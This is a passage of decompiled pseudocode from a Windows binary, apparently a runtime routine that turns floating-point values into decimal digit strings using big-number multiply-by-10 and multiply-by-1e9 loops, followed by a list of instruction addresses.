																} else {
																	 *(_t1313 + _t907 * 4 - 0x1d0) = _t1218;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t854 - 0x26;
												if(_t854 > 0x26) {
													_t854 = 0x26;
												}
												_t1153 =  *(0x6daf12e6 + _t854 * 4) & 0x000000ff;
												_v1900 = _t854;
												_v1400 = ( *(0x6daf12e6 + _t854 * 4) & 0x000000ff) + ( *(0x6daf12e7 + _t854 * 4) & 0x000000ff);
												E6DADB880(_t1153 << 2,  &_v1396, 0, _t1153 << 2);
												_t918 = E6DADBA40( &(( &_v1396)[_t1153]), 0x6daf09e0 + ( *(0x6daf12e4 + _v1900 * 4) & 0x0000ffff) * 4, ( *(0x6daf12e7 + _t854 * 4) & 0x000000ff) << 2);
												_t1262 = _v1400;
												_t1321 =  &(_t1321[6]);
												__eflags = _t1262 - _t1111;
												if(_t1262 > _t1111) {
													__eflags = _v472 - _t1111;
													if(_v472 > _t1111) {
														__eflags = _t1262 - _v472;
														_t1219 =  &_v1396;
														_t548 = _t1262 - _v472 > 0;
														__eflags = _t548;
														_t919 = _t918 & 0xffffff00 | _t548;
														if(_t548 >= 0) {
															_t1219 =  &_v468;
														}
														_v1876 = _t1219;
														_t1154 =  &_v468;
														__eflags = _t919;
														if(_t919 == 0) {
															_t1154 =  &_v1396;
														}
														_v1872 = _t1154;
														__eflags = _t919;
														if(_t919 == 0) {
															_t1155 = _v472;
															_v1880 = _t1155;
														} else {
															_t1155 = _t1262;
															_v1880 = _t1262;
														}
														__eflags = _t919;
														if(_t919 != 0) {
															_t1262 = _v472;
														}
														_t920 = 0;
														_t1299 = 0;
														_v1864 = 0;
														__eflags = _t1155;
														if(_t1155 == 0) {
															L240:
															_v472 = _t920;
															_t1297 = 0x1cc;
															_t921 = _t920 << 2;
															__eflags = _t921;
															_push(_t921);
															_t922 =  &_v1860;
															goto L241;
														} else {
															do {
																__eflags =  *(_t1219 + _t1299 * 4);
																if( *(_t1219 + _t1299 * 4) != 0) {
																	_t1222 = 0;
																	_t1156 = _t1299;
																	_v1868 = _v1868 & 0;
																	_v1908 = 0;
																	__eflags = _t1262;
																	if(_t1262 == 0) {
																		L237:
																		__eflags = _t1156 - 0x73;
																		if(_t1156 == 0x73) {
																			goto L255;
																		} else {
																			_t1155 = _v1880;
																			_t1219 = _v1876;
																			goto L239;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1156 - 0x73;
																			if(_t1156 == 0x73) {
																				goto L232;
																			}
																			__eflags = _t1156 - _t920;
																			if(_t1156 == _t920) {
																				 *(_t1313 + _t1156 * 4 - 0x740) =  *(_t1313 + _t1156 * 4 - 0x740) & 0x00000000;
																				_t940 = _v1868 + 1 + _t1299;
																				__eflags = _t940;
																				_v1864 = _t940;
																			}
																			_t933 =  *(_v1872 + _v1868 * 4);
																			_t1224 = _v1876;
																			_t1222 = _t933 *  *(_t1224 + _t1299 * 4) >> 0x20;
																			asm("adc edx, 0x0");
																			 *(_t1313 + _t1156 * 4 - 0x740) =  *(_t1313 + _t1156 * 4 - 0x740) + _t933 *  *(_t1224 + _t1299 * 4) + _v1908;
																			asm("adc edx, 0x0");
																			_t937 = _v1868 + 1;
																			_t1156 = _t1156 + 1;
																			_v1868 = _t937;
																			__eflags = _t937 - _t1262;
																			_v1908 = _t1222;
																			_t920 = _v1864;
																			if(_t937 != _t1262) {
																				continue;
																			} else {
																				goto L232;
																			}
																			while(1) {
																				L232:
																				__eflags = _t1222;
																				if(_t1222 == 0) {
																					goto L237;
																				}
																				__eflags = _t1156 - 0x73;
																				if(_t1156 == 0x73) {
																					L255:
																					_t1297 = 0x1cc;
																					goto L256;
																				} else {
																					__eflags = _t1156 - _t920;
																					if(_t1156 == _t920) {
																						_t604 = _t1313 + _t1156 * 4 - 0x740;
																						 *_t604 =  *(_t1313 + _t1156 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t604;
																						_t610 = _t1156 + 1; // 0x1
																						_v1864 = _t610;
																					}
																					_t931 = _t1222;
																					_t1222 = 0;
																					 *(_t1313 + _t1156 * 4 - 0x740) =  *(_t1313 + _t1156 * 4 - 0x740) + _t931;
																					_t920 = _v1864;
																					asm("adc edx, edx");
																					_t1156 = _t1156 + 1;
																					continue;
																				}
																				goto L243;
																			}
																			goto L237;
																		}
																		goto L232;
																	}
																} else {
																	__eflags = _t1299 - _t920;
																	if(_t1299 == _t920) {
																		 *(_t1313 + _t1299 * 4 - 0x740) =  *(_t1313 + _t1299 * 4 - 0x740) & 0x00000000;
																		_t567 = _t1299 + 1; // 0x1
																		_t920 = _t567;
																		_v1864 = _t920;
																	}
																	goto L239;
																}
																goto L243;
																L239:
																_t1299 = _t1299 + 1;
																__eflags = _t1299 - _t1155;
															} while (_t1299 != _t1155);
															goto L240;
														}
													} else {
														_t1297 = 0x1cc;
														_v1872 = _v468;
														_v472 = _t1262;
														E6DAE3CE9( &_v468, 0x1cc,  &_v1396, _t1262 << 2);
														_t948 = _v1872;
														_t1321 =  &(_t1321[4]);
														__eflags = _t948;
														if(_t948 != 0) {
															__eflags = _t948 - _t1111;
															if(_t948 == _t1111) {
																goto L242;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L242;
																} else {
																	_v1884 = _v472;
																	_t1158 = 0;
																	_t1263 = 0;
																	__eflags = 0;
																	do {
																		_t1220 = _t948 *  *(_t1313 + _t1263 * 4 - 0x1d0) >> 0x20;
																		 *(_t1313 + _t1263 * 4 - 0x1d0) = _t948 *  *(_t1313 + _t1263 * 4 - 0x1d0) + _t1158;
																		_t948 = _v1872;
																		asm("adc edx, 0x0");
																		_t1263 = _t1263 + 1;
																		_t1158 = _t1220;
																		__eflags = _t1263 - _v1884;
																	} while (_t1263 != _v1884);
																	__eflags = _t1158;
																	if(_t1158 == 0) {
																		goto L242;
																	} else {
																		_t951 = _v472;
																		__eflags = _t951 - 0x73;
																		if(_t951 >= 0x73) {
																			L256:
																			_v2408 = 0;
																			_v472 = 0;
																			E6DAE3CE9( &_v468, _t1297,  &_v2404, 0);
																			_t1321 =  &(_t1321[4]);
																			_t925 = 0;
																		} else {
																			 *(_t1313 + _t951 * 4 - 0x1d0) = _t1158;
																			_v472 = _v472 + 1;
																			goto L242;
																		}
																	}
																}
															}
														} else {
															_v2408 = _t948;
															_v472 = _t948;
															_push(_t948);
															_t922 =  &_v2404;
															L241:
															_push(_t922);
															_push(_t1297);
															_push( &_v468);
															E6DAE3CE9();
															_t1321 =  &(_t1321[4]);
															L242:
															_t925 = _t1111;
														}
													}
												} else {
													_t1264 = _v1396;
													__eflags = _t1264;
													if(_t1264 != 0) {
														__eflags = _t1264 - _t1111;
														if(_t1264 == _t1111) {
															goto L194;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L194;
															} else {
																_t1159 = 0;
																_v1884 = _v472;
																_t1300 = 0;
																__eflags = 0;
																do {
																	_t953 = _t1264;
																	_t1221 = _t953 *  *(_t1313 + _t1300 * 4 - 0x1d0) >> 0x20;
																	 *(_t1313 + _t1300 * 4 - 0x1d0) = _t953 *  *(_t1313 + _t1300 * 4 - 0x1d0) + _t1159;
																	asm("adc edx, 0x0");
																	_t1300 = _t1300 + 1;
																	_t1159 = _t1221;
																	__eflags = _t1300 - _v1884;
																} while (_t1300 != _v1884);
																__eflags = _t1159;
																if(_t1159 == 0) {
																	goto L194;
																} else {
																	_t956 = _v472;
																	__eflags = _t956 - 0x73;
																	if(_t956 >= 0x73) {
																		_v2408 = 0;
																		_v472 = 0;
																		E6DAE3CE9( &_v468, 0x1cc,  &_v2404, 0);
																		_t1321 =  &(_t1321[4]);
																		_t925 = 0;
																		goto L195;
																	} else {
																		 *(_t1313 + _t956 * 4 - 0x1d0) = _t1159;
																		_v472 = _v472 + 1;
																		goto L194;
																	}
																}
															}
														}
														goto L261;
													} else {
														__eflags = 0;
														_v2408 = 0;
														_v472 = 0;
														E6DAE3CE9( &_v468, 0x1cc,  &_v2404, 0);
														_t1321 =  &(_t1321[4]);
														L194:
														_t925 = _t1111;
													}
													L195:
													_t1297 = 0x1cc;
												}
												L243:
												__eflags = _t925;
												if(_t925 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L259:
													_push( &_v2404);
													_t903 =  &_v468;
													goto L260;
												} else {
													goto L244;
												}
												goto L261;
												L244:
												_t854 = _v1892 - _v1900;
												__eflags = _t854;
												_v1892 = _t854;
											} while (_t854 != 0);
											_t1142 = _v1920;
											goto L246;
										}
									} else {
										_t965 = _t852 / _t1141;
										_v1872 = _t965;
										_t1160 = _t852 % _t1141;
										_v1920 = _t1160;
										__eflags = _t965;
										if(_t965 == 0) {
											L174:
											__eflags = _t1160;
											if(_t1160 != 0) {
												_t966 =  *(0x6daf137c + _t1160 * 4);
												_v1884 = _t966;
												__eflags = _t966;
												if(_t966 != 0) {
													__eflags = _t966 - _t1111;
													if(_t966 != _t1111) {
														_t1161 = _v936;
														__eflags = _t1161;
														if(_t1161 != 0) {
															_v1872 = _v1872 & 0x00000000;
															_t1265 = 0;
															__eflags = 0;
															do {
																_t1226 = _t966 *  *(_t1313 + _t1265 * 4 - 0x3a0) >> 0x20;
																 *(_t1313 + _t1265 * 4 - 0x3a0) = _t966 *  *(_t1313 + _t1265 * 4 - 0x3a0) + _v1872;
																_t966 = _v1884;
																asm("adc edx, 0x0");
																_t1265 = _t1265 + 1;
																_v1872 = _t1226;
																__eflags = _t1265 - _t1161;
															} while (_t1265 != _t1161);
															__eflags = _t1226;
															if(_t1226 != 0) {
																_t969 = _v936;
																__eflags = _t969 - 0x73;
																if(_t969 >= 0x73) {
																	goto L176;
																} else {
																	 *(_t1313 + _t969 * 4 - 0x3a0) = _t1226;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L176:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L180;
												}
											}
										} else {
											do {
												__eflags = _t965 - 0x26;
												if(_t965 > 0x26) {
													_t965 = 0x26;
												}
												_t1162 =  *(0x6daf12e6 + _t965 * 4) & 0x000000ff;
												_v1876 = _t965;
												_v1400 = ( *(0x6daf12e6 + _t965 * 4) & 0x000000ff) + ( *(0x6daf12e7 + _t965 * 4) & 0x000000ff);
												E6DADB880(_t1162 << 2,  &_v1396, 0, _t1162 << 2);
												_t982 = E6DADBA40( &(( &_v1396)[_t1162]), 0x6daf09e0 + ( *(0x6daf12e4 + _v1876 * 4) & 0x0000ffff) * 4, ( *(0x6daf12e7 + _t965 * 4) & 0x000000ff) << 2);
												_t1268 = _v1400;
												_t1321 =  &(_t1321[6]);
												__eflags = _t1268 - _t1111;
												if(_t1268 > _t1111) {
													__eflags = _v936 - _t1111;
													if(_v936 > _t1111) {
														__eflags = _t1268 - _v936;
														_t1227 =  &_v1396;
														_t338 = _t1268 - _v936 > 0;
														__eflags = _t338;
														_t983 = _t982 & 0xffffff00 | _t338;
														if(_t338 >= 0) {
															_t1227 =  &_v932;
														}
														_v1900 = _t1227;
														_t1163 =  &_v932;
														__eflags = _t983;
														if(_t983 == 0) {
															_t1163 =  &_v1396;
														}
														_v1880 = _t1163;
														__eflags = _t983;
														if(_t983 == 0) {
															_t1164 = _v936;
															_v1908 = _t1164;
														} else {
															_t1164 = _t1268;
															_v1908 = _t1268;
														}
														__eflags = _t983;
														if(_t983 != 0) {
															_t1268 = _v936;
														}
														_t984 = 0;
														_t1302 = 0;
														_v1864 = 0;
														__eflags = _t1164;
														if(_t1164 == 0) {
															L168:
															_v936 = _t984;
															_t1297 = 0x1cc;
															_t985 = _t984 << 2;
															__eflags = _t985;
															_push(_t985);
															_t986 =  &_v1860;
															goto L169;
														} else {
															do {
																__eflags =  *(_t1227 + _t1302 * 4);
																if( *(_t1227 + _t1302 * 4) != 0) {
																	_t1230 = 0;
																	_t1165 = _t1302;
																	_v1868 = _v1868 & 0;
																	_v1892 = 0;
																	__eflags = _t1268;
																	if(_t1268 == 0) {
																		L165:
																		__eflags = _t1165 - 0x73;
																		if(_t1165 == 0x73) {
																			goto L177;
																		} else {
																			_t1164 = _v1908;
																			_t1227 = _v1900;
																			goto L167;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1165 - 0x73;
																			if(_t1165 == 0x73) {
																				goto L160;
																			}
																			__eflags = _t1165 - _t984;
																			if(_t1165 == _t984) {
																				 *(_t1313 + _t1165 * 4 - 0x740) =  *(_t1313 + _t1165 * 4 - 0x740) & 0x00000000;
																				_t1004 = _v1868 + 1 + _t1302;
																				__eflags = _t1004;
																				_v1864 = _t1004;
																			}
																			_t997 =  *(_v1880 + _v1868 * 4);
																			_t1232 = _v1900;
																			_t1230 = _t997 *  *(_t1232 + _t1302 * 4) >> 0x20;
																			asm("adc edx, 0x0");
																			 *(_t1313 + _t1165 * 4 - 0x740) =  *(_t1313 + _t1165 * 4 - 0x740) + _t997 *  *(_t1232 + _t1302 * 4) + _v1892;
																			asm("adc edx, 0x0");
																			_t1001 = _v1868 + 1;
																			_t1165 = _t1165 + 1;
																			_v1868 = _t1001;
																			__eflags = _t1001 - _t1268;
																			_v1892 = _t1230;
																			_t984 = _v1864;
																			if(_t1001 != _t1268) {
																				continue;
																			} else {
																				goto L160;
																			}
																			while(1) {
																				L160:
																				__eflags = _t1230;
																				if(_t1230 == 0) {
																					goto L165;
																				}
																				__eflags = _t1165 - 0x73;
																				if(_t1165 == 0x73) {
																					L177:
																					__eflags = 0;
																					_t1297 = 0x1cc;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t992 =  &_v2404;
																					goto L178;
																				} else {
																					__eflags = _t1165 - _t984;
																					if(_t1165 == _t984) {
																						_t394 = _t1313 + _t1165 * 4 - 0x740;
																						 *_t394 =  *(_t1313 + _t1165 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t394;
																						_t400 = _t1165 + 1; // 0x1
																						_v1864 = _t400;
																					}
																					_t995 = _t1230;
																					_t1230 = 0;
																					 *(_t1313 + _t1165 * 4 - 0x740) =  *(_t1313 + _t1165 * 4 - 0x740) + _t995;
																					_t984 = _v1864;
																					asm("adc edx, edx");
																					_t1165 = _t1165 + 1;
																					continue;
																				}
																				goto L171;
																			}
																			goto L165;
																		}
																		goto L160;
																	}
																} else {
																	__eflags = _t1302 - _t984;
																	if(_t1302 == _t984) {
																		 *(_t1313 + _t1302 * 4 - 0x740) =  *(_t1313 + _t1302 * 4 - 0x740) & 0x00000000;
																		_t357 = _t1302 + 1; // 0x1
																		_t984 = _t357;
																		_v1864 = _t984;
																	}
																	goto L167;
																}
																goto L171;
																L167:
																_t1302 = _t1302 + 1;
																__eflags = _t1302 - _t1164;
															} while (_t1302 != _t1164);
															goto L168;
														}
													} else {
														_t1297 = 0x1cc;
														_v1880 = _v932;
														_v936 = _t1268;
														E6DAE3CE9( &_v932, 0x1cc,  &_v1396, _t1268 << 2);
														_t1012 = _v1880;
														_t1321 =  &(_t1321[4]);
														__eflags = _t1012;
														if(_t1012 != 0) {
															__eflags = _t1012 - _t1111;
															if(_t1012 == _t1111) {
																goto L170;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L170;
																} else {
																	_v1884 = _v936;
																	_t1167 = 0;
																	_t1269 = 0;
																	__eflags = 0;
																	do {
																		_t1228 = _t1012 *  *(_t1313 + _t1269 * 4 - 0x3a0) >> 0x20;
																		 *(_t1313 + _t1269 * 4 - 0x3a0) = _t1012 *  *(_t1313 + _t1269 * 4 - 0x3a0) + _t1167;
																		_t1012 = _v1880;
																		asm("adc edx, 0x0");
																		_t1269 = _t1269 + 1;
																		_t1167 = _t1228;
																		__eflags = _t1269 - _v1884;
																	} while (_t1269 != _v1884);
																	__eflags = _t1167;
																	if(_t1167 == 0) {
																		goto L170;
																	} else {
																		_t1015 = _v936;
																		__eflags = _t1015 - 0x73;
																		if(_t1015 >= 0x73) {
																			_v1400 = 0;
																			_v936 = 0;
																			_push(0);
																			_t992 =  &_v1396;
																			L178:
																			_push(_t992);
																			_push(_t1297);
																			_push( &_v932);
																			E6DAE3CE9();
																			_t1321 =  &(_t1321[4]);
																			_t989 = 0;
																		} else {
																			 *(_t1313 + _t1015 * 4 - 0x3a0) = _t1167;
																			_v936 = _v936 + 1;
																			goto L170;
																		}
																	}
																}
															}
														} else {
															_v1400 = _t1012;
															_v936 = _t1012;
															_push(_t1012);
															_t986 =  &_v1396;
															L169:
															_push(_t986);
															_push(_t1297);
															_push( &_v932);
															E6DAE3CE9();
															_t1321 =  &(_t1321[4]);
															L170:
															_t989 = _t1111;
														}
													}
												} else {
													_t1270 = _v1396;
													__eflags = _t1270;
													if(_t1270 != 0) {
														__eflags = _t1270 - _t1111;
														if(_t1270 == _t1111) {
															goto L121;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L121;
															} else {
																_t1168 = 0;
																_v1884 = _v936;
																_t1303 = 0;
																__eflags = 0;
																do {
																	_t1018 = _t1270;
																	_t1229 = _t1018 *  *(_t1313 + _t1303 * 4 - 0x3a0) >> 0x20;
																	 *(_t1313 + _t1303 * 4 - 0x3a0) = _t1018 *  *(_t1313 + _t1303 * 4 - 0x3a0) + _t1168;
																	asm("adc edx, 0x0");
																	_t1303 = _t1303 + 1;
																	_t1168 = _t1229;
																	__eflags = _t1303 - _v1884;
																} while (_t1303 != _v1884);
																__eflags = _t1168;
																if(_t1168 == 0) {
																	goto L121;
																} else {
																	_t1021 = _v936;
																	__eflags = _t1021 - 0x73;
																	if(_t1021 >= 0x73) {
																		_v1400 = 0;
																		_v936 = 0;
																		E6DAE3CE9( &_v932, 0x1cc,  &_v1396, 0);
																		_t1321 =  &(_t1321[4]);
																		_t989 = 0;
																		goto L122;
																	} else {
																		 *(_t1313 + _t1021 * 4 - 0x3a0) = _t1168;
																		_v936 = _v936 + 1;
																		goto L121;
																	}
																}
															}
														}
														goto L261;
													} else {
														__eflags = 0;
														_v1864 = 0;
														_v936 = 0;
														E6DAE3CE9( &_v932, 0x1cc,  &_v1860, 0);
														_t1321 =  &(_t1321[4]);
														L121:
														_t989 = _t1111;
													}
													L122:
													_t1297 = 0x1cc;
												}
												L171:
												__eflags = _t989;
												if(_t989 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t429 =  &_v936;
													 *_t429 = _v936 & 0x00000000;
													__eflags =  *_t429;
													_push(0);
													L180:
													_push( &_v2404);
													_t903 =  &_v932;
													L260:
													_push(_t1297);
													_push(_t903);
													E6DAE3CE9();
													_t1321 =  &(_t1321[4]);
												} else {
													goto L172;
												}
												goto L261;
												L172:
												_t965 = _v1872 - _v1876;
												__eflags = _t965;
												_v1872 = _t965;
											} while (_t965 != 0);
											_t1160 = _v1920;
											goto L174;
										}
									}
									L261:
									_t1143 = _v472;
									_t1254 = _v1896;
									_v1868 = _t1254;
									__eflags = _t1143;
									if(_t1143 != 0) {
										_v1872 = _v1872 & 0x00000000;
										_t1258 = 0;
										__eflags = 0;
										do {
											_t892 =  *(_t1313 + _t1258 * 4 - 0x1d0);
											_t1216 = 0xa;
											_t1217 = _t892 * _t1216 >> 0x20;
											 *(_t1313 + _t1258 * 4 - 0x1d0) = _t892 * _t1216 + _v1872;
											asm("adc edx, 0x0");
											_t1258 = _t1258 + 1;
											_v1872 = _t1217;
											__eflags = _t1258 - _t1143;
										} while (_t1258 != _t1143);
										_t1254 = _v1868;
										__eflags = _t1217;
										if(_t1217 != 0) {
											_t895 = _v472;
											__eflags = _t895 - 0x73;
											if(_t895 >= 0x73) {
												__eflags = 0;
												_v2408 = 0;
												_v472 = 0;
												E6DAE3CE9( &_v468, _t1297,  &_v2404, 0);
												_t1321 =  &(_t1321[4]);
											} else {
												 *(_t1313 + _t895 * 4 - 0x1d0) = _t1217;
												_v472 = _v472 + 1;
											}
										}
									}
									_t857 = E6DAE5E60( &_v472,  &_v936);
									_t1127 = _v1896;
									_t1208 = 0xa;
									__eflags = _t857 - _t1208;
									if(_t857 != _t1208) {
										__eflags = _t857;
										if(_t857 != 0) {
											_t1254 = _t1127 + 1;
											 *_t1127 = _t857 + 0x30;
											_v1868 = _t1254;
											goto L276;
										} else {
											_t859 = _v1904 - 1;
											goto L277;
										}
										goto L308;
									} else {
										_t883 = _v936;
										_t1254 = _t1127 + 1;
										_v1904 = _v1904 + 1;
										 *_t1127 = 0x31;
										_v1868 = _t1254;
										_v1884 = _t883;
										__eflags = _t883;
										if(_t883 != 0) {
											_t1257 = 0;
											_t1150 = 0;
											__eflags = 0;
											do {
												_t884 =  *(_t1313 + _t1150 * 4 - 0x3a0);
												 *(_t1313 + _t1150 * 4 - 0x3a0) = _t884 * _t1208 + _t1257;
												asm("adc edx, 0x0");
												_t1150 = _t1150 + 1;
												_t1257 = _t884 * _t1208 >> 0x20;
												_t1208 = 0xa;
												__eflags = _t1150 - _v1884;
											} while (_t1150 != _v1884);
											_v1884 = _t1257;
											__eflags = _t1257;
											_t1254 = _v1868;
											if(_t1257 != 0) {
												_t1151 = _v936;
												__eflags = _t1151 - 0x73;
												if(_t1151 >= 0x73) {
													_v2408 = 0;
													_v936 = 0;
													E6DAE3CE9( &_v932, _t1297,  &_v2404, 0);
													_t1321 =  &(_t1321[4]);
												} else {
													 *((intOrPtr*)(_t1313 + _t1151 * 4 - 0x3a0)) = _v1884;
													_t723 =  &_v936;
													 *_t723 = _v936 + 1;
													__eflags =  *_t723;
												}
											}
											_t1127 = _v1896;
										}
										L276:
										_t859 = _v1904;
									}
									L277:
									 *((intOrPtr*)(_v1928 + 4)) = _t859;
									_t1202 = _v1916;
									__eflags = _t859;
									if(_t859 >= 0) {
										__eflags = _t1202 - 0x7fffffff;
										if(_t1202 <= 0x7fffffff) {
											_t1202 = _t1202 + _t859;
											__eflags = _t1202;
										}
									}
									_t861 = _a24 - 1;
									__eflags = _t861 - _t1202;
									if(_t861 >= _t1202) {
										_t861 = _t1202;
									}
									_t862 = _t861 + _t1127;
									_v1872 = _t862;
									__eflags = _t1254 - _t862;
									if(_t1254 != _t862) {
										while(1) {
											_t865 = _v472;
											__eflags = _t865;
											if(_t865 == 0) {
												goto L302;
											}
											_t1117 = 0;
											_t1255 = _t865;
											_t1146 = 0;
											__eflags = 0;
											do {
												_t866 =  *(_t1313 + _t1146 * 4 - 0x1d0);
												 *(_t1313 + _t1146 * 4 - 0x1d0) = _t866 * 0x3b9aca00 + _t1117;
												asm("adc edx, 0x0");
												_t1146 = _t1146 + 1;
												_t1117 = _t866 * 0x3b9aca00 >> 0x20;
												__eflags = _t1146 - _t1255;
											} while (_t1146 != _t1255);
											_t1256 = _v1868;
											__eflags = _t1117;
											if(_t1117 != 0) {
												_t877 = _v472;
												__eflags = _t877 - 0x73;
												if(_t877 >= 0x73) {
													__eflags = 0;
													_v2408 = 0;
													_v472 = 0;
													E6DAE3CE9( &_v468, _t1297,  &_v2404, 0);
													_t1321 =  &(_t1321[4]);
												} else {
													 *(_t1313 + _t877 * 4 - 0x1d0) = _t1117;
													_v472 = _v472 + 1;
												}
											}
											_t871 = E6DAE5E60( &_v472,  &_v936);
											__eflags = _v472;
											_t1111 = _t1117 & 0xffffff00 | _v472 == 0x00000000;
											_v1916 = 8;
											_t1127 = _v1872 - _t1256;
											__eflags = _t1127;
											do {
												_t1213 = _t871 % _v1912;
												_v1920 = _t871 / _v1912;
												_v1884 = _t1213;
												_t874 = _t1213 + 0x30;
												_t1214 = _v1916;
												__eflags = _t1127 - _t1214;
												if(_t1127 >= _t1214) {
													 *(_t1214 + _t1256) = _t874;
												} else {
													__eflags = _t874 - 0x30;
													_t1111 = _t1111 & (_t874 & 0xffffff00 | _t874 != 0x00000030) - 0x00000001;
												}
												_t871 = _v1920;
												_t1202 = _t1214 - 1;
												_v1916 = _t1202;
												__eflags = _t1202 - 0xffffffff;
											} while (_t1202 != 0xffffffff);
											__eflags = _t1127 - 9;
											if(_t1127 > 9) {
												_t1127 = 9;
											}
											_t1254 = _t1256 + _t1127;
											_v1868 = _t1254;
											__eflags = _t1254 - _v1872;
											if(_t1254 != _v1872) {
												continue;
											}
											goto L302;
										}
									}
									L302:
									 *_t1254 = 0;
									__eflags = _t1111;
									_t864 = 0 | __eflags != 0x00000000;
									_v1884 = _t864;
									_t1111 = _t864;
									goto L308;
								}
							}
						}
					}
				} else {
					_t1127 = _t1288 & 0x000fffff;
					if((_a4 | _t1288 & 0x000fffff) == 0 || (_v1944 & 0x01000000) != 0) {
						_push(0x6daf13a4);
						 *((intOrPtr*)(_v1928 + 4)) =  *(_v1928 + 4) & 0x00000000;
						L12:
						_push(_a24);
						_push(_v1896);
						if(E6DAE0381() != 0) {
							L311:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E6DADD669();
							asm("int3");
							return E6DAE901A(E6DAE903C(__eflags));
						} else {
							L308:
							_t1331 = _v1932;
							_pop(_t1247);
							_pop(_t1289);
							if(_v1932 != 0) {
								E6DAE8A30(_t1127, _t1331,  &_v1940);
							}
							_pop(_t1112);
							return E6DADAF4F(_t1111, _t1112, _v8 ^ _t1313, _t1202, _t1247, _t1289);
						}
					} else {
						goto L14;
					}
				}
			}

0x6dae62fa
0x6dae62fa
0x6dae62fa
0x6dae62fd
0x6dae62ff
0x6dae6305
0x6dae630c
0x6dae6312
0x6dae631b
0x6dae6327
0x6dae6329
0x6dae6339
0x6dae633d
0x6dae634f
0x6dae6355
0x6dae633f
0x6dae633f
0x6dae633f
0x6dae635b
0x6dae635c
0x6dae635f
0x6dae6362
0x6dae6363
0x6dae6365
0x6dae6374
0x6dae636f
0x6dae6371
0x6dae6371
0x6dae6376
0x6dae6380
0x6dae6388
0x6dae6392
0x6dae63a1
0x6dae63a6
0x6dae63f0
0x6dae63f4
0x6dae63f9
0x6dae63fa
0x6dae63fc
0x6dae63fe
0x6dae6404
0x6dae6404
0x6dae6407
0x6dae6407
0x6dae640a
0x6dae77bf
0x6dae77c7
0x6dae77c9
0x00000000
0x6dae77cb
0x6dae77cb
0x6dae77cb
0x00000000
0x6dae77cb
0x6dae6410
0x6dae6410
0x6dae6410
0x6dae6413
0x6dae77a7
0x00000000
0x6dae6419
0x6dae6419
0x6dae6419
0x6dae641c
0x6dae779d
0x00000000
0x6dae6422
0x6dae6422
0x6dae6425
0x6dae7793
0x00000000
0x6dae642b
0x6dae6434
0x6dae6441
0x6dae6445
0x6dae6448
0x6dae644e
0x6dae6456
0x6dae645c
0x6dae6466
0x6dae6466
0x6dae6469
0x6dae6475
0x6dae6477
0x6dae647c
0x6dae647c
0x6dae647c
0x6dae646b
0x6dae646b
0x6dae646d
0x6dae646d
0x6dae6488
0x6dae6496
0x6dae649c
0x6dae649e
0x6dae64a6
0x6dae64ac
0x6dae64b1
0x6dae64b2
0x6dae64b3
0x6dae64b6
0x6dae64bd
0x6dae64c2
0x6dae64ca
0x6dae64cb
0x6dae64d0
0x6dae64d9
0x6dae64d9
0x6dae64db
0x6dae64d2
0x6dae64d2
0x6dae64d7
0x00000000
0x00000000
0x6dae64d7
0x6dae64e1
0x6dae64ef
0x6dae64f1
0x6dae64fa
0x6dae6500
0x6dae6501
0x6dae6507
0x6dae650d
0x6dae6513
0x6dae68b2
0x6dae68b5
0x6dae69cf
0x6dae69d1
0x6dae69d6
0x6dae69d6
0x6dae69d6
0x6dae69e4
0x6dae69eb
0x6dae69ee
0x6dae69f3
0x6dae69f3
0x6dae69f0
0x6dae69f0
0x6dae69f0
0x6dae69f7
0x6dae69f9
0x6dae69fd
0x6dae69ff
0x6dae6a02
0x6dae6a31
0x6dae6a34
0x6dae6a37
0x6dae6a39
0x6dae6a3c
0x6dae6a3c
0x6dae6a3e
0x6dae6a49
0x6dae6a49
0x6dae6a40
0x6dae6a40
0x6dae6a40
0x6dae6a4b
0x6dae6a4d
0x6dae6a58
0x6dae6a58
0x6dae6a4f
0x6dae6a4f
0x6dae6a4f
0x6dae6a61
0x6dae6a68
0x6dae6a69
0x6dae6a6a
0x6dae6a6d
0x00000000
0x00000000
0x6dae6a6f
0x6dae6a6f
0x6dae6a3c
0x6dae6a77
0x6dae6a77
0x6dae6a04
0x6dae6a04
0x6dae6a11
0x6dae6a27
0x6dae6a2c
0x6dae6a2c
0x6dae6a90
0x6dae6a9c
0x6dae6aa9
0x6dae6aab
0x6dae68bb
0x6dae68bb
0x6dae68c2
0x6dae68cc
0x6dae68d6
0x6dae68d8
0x6dae68de
0x6dae68de
0x6dae68e0
0x6dae68e0
0x6dae68e7
0x6dae68ee
0x00000000
0x00000000
0x6dae68f4
0x6dae68f7
0x6dae68fa
0x00000000
0x6dae68fc
0x6dae68fc
0x6dae68fe
0x6dae6901
0x6dae6907
0x6dae690c
0x6dae6909
0x6dae6909
0x6dae6909
0x6dae6910
0x6dae6913
0x6dae6917
0x6dae6919
0x6dae691c
0x6dae6948
0x6dae694b
0x6dae694e
0x6dae6950
0x6dae6953
0x6dae6953
0x6dae6955
0x6dae6960
0x6dae6957
0x6dae6957
0x6dae6957
0x6dae6962
0x6dae6964
0x6dae696f
0x6dae6966
0x6dae6966
0x6dae6966
0x6dae6979
0x6dae6980
0x6dae6981
0x6dae6982
0x6dae6985
0x00000000
0x00000000
0x6dae6987
0x6dae6987
0x6dae6953
0x6dae698f
0x6dae698f
0x6dae691e
0x6dae6925
0x6dae6932
0x6dae693e
0x6dae6943
0x6dae6943
0x6dae69a8
0x6dae69b4
0x6dae69c3
0x6dae69c3
0x00000000
0x6dae68fa
0x6dae68e0
0x00000000
0x6dae68d8
0x6dae6ab2
0x6dae6ab2
0x6dae6ab5
0x6dae6aba
0x6dae6ac0
0x6dae6ad9
0x6dae6ae0
0x6dae6ae3
0x6dae6ae3
0x6dae6519
0x6dae6519
0x6dae6520
0x6dae652a
